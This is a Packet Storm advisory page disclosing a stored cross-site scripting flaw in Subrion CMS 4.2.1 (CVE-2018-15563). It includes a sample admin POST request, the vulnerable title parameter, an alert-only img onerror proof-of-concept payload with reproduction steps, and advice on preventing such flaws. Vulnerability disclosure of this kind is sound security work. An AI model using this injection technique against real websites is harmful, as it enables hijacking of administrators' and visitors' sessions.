what you don't know can hurt you

Subrion CMS 4.2.1 Cross Site Scripting

Subrion CMS 4.2.1 Cross Site Scripting
Posted Aug 21, 2018
Authored by Rafael Fontes Souza

Subrion CMS version 4.2.1 suffers from persistent cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2018-15563
MD5 | b8f1abf8ab143e66ec272e0ca5b20faa

Subrion CMS 4.2.1 Cross Site Scripting

Change Mirror Download
Subrion CMS 4.2.1 - Stored Cross-Site Scripting

A content management system (CMS) is a computer application that supports the creation and modification of digital content.
It is often used to support multiple users working in a collaborative environment.
CMS features vary widely. Most CMSs include Web-based publishing, format management, history editing and version control, indexing, search, and retrieval.
By their nature, content management systems support the separation of content and presentation.

Vulnerability Disclosure:
2018-08-08: Public Disclosure


Affected Product(s):
Subrion CMS 4.2.1

Exploitation Technique:

Severity Level:

Technical Details & Description:
Stored XSS occurs when a web application gathers input from a user which might be malicious, and thenstores that input in a data store for later use. The input that is stored is not correctly filtered.

Request Method(s):

[+] POST

POST /_core/admin/pages/add/ HTTP/1.1
Host: demos.subrion.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://demos.subrion.org/_core/admin/pages/add/
Content-Type: application/x-www-form-urlencoded
Content-Length: 635
Cookie: INTELLI_cdee4fe56a=4f86f0bde712293a36c4684b624a4c8d; INTELLI_cdee4fe56a=4f86f0bde712293a36c4684b624a4c8d; INTELLI_cdee4fe56a=4f86f0bde712293a36c4684b624a4c8d; INTELLI_cdee4fe56a=4f86f0bde712293a36c4684b624a4c8d; INTELLI_a1ef1b4b28=c9e89dadff3cdb2bc68cfa0d39de816c; _ga=GA1.2.183490498.1533768714; _gid=GA1.2.1557188799.1533768714; INTELLI_cdee4fe56a=4f86f0bde712293a36c4684b624a4c8d; loader=loaded; panelHidden=1
Connection: close
Upgrade-Insecure-Requests: 1


Vulnerable Directory(s):

[+] /_core/admin/pages/add/

Vulnerable Parameter(s):

[+] titles%5Ben%5D=

Proof of Concept (PoC):
Cross-Site Scripting, also known as XSS, is one of the most common attacks carried out in web applications.
The concept of XSS is to manipulate the client-side scripts of a web application to perform actions planned by a malicious user.

1)Log in to the admin panel, click "content"
2)Pages>Add Page
3)Put the payload <img src=axa onerror=alert(1)> in "Title"
4)When you visit the page you've created, you'll always see the script

[+] <img src=axa onerror=alert(1)>

For a prevention of Cross Site Scripting, some measures should be considered:
Never enter untrusted data except in locations defined for this purpose.
The principle of this rule is to deny everything and mostly do not JavaScript code from an unknown source and then run it.
Validate the escape characters before inserting them inside the HTML element. Failure to validate inputs may allow malicious code to be injected into the application.
Validate URL parameters and check information that sends our HTTP requests, hex escapes us in URLs such as% 25, aawhere 25 is the ASCII code of the character "%".
Avoid HTML injection attacks by resorting to libraries that parse the inserted HTML such as: HtmlSanitizer, OWASP Java HTML Sanitizer.
Another recommendation to mitigate such security flaws in a web application is an application of a Web Application Firewall (WAF) such as ModSecurity, Ironbee and others.

Offensive0Labs - Rafael Fontes Souza



RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    60 Files
  • 2
    Apr 2nd
    20 Files
  • 3
    Apr 3rd
    15 Files
  • 4
    Apr 4th
    5 Files
  • 5
    Apr 5th
    5 Files
  • 6
    Apr 6th
    27 Files
  • 7
    Apr 7th
    31 Files
  • 8
    Apr 8th
    18 Files
  • 9
    Apr 9th
    0 Files
  • 10
    Apr 10th
    0 Files
  • 11
    Apr 11th
    0 Files
  • 12
    Apr 12th
    0 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2016 Packet Storm. All rights reserved.

Security Services
Hosting By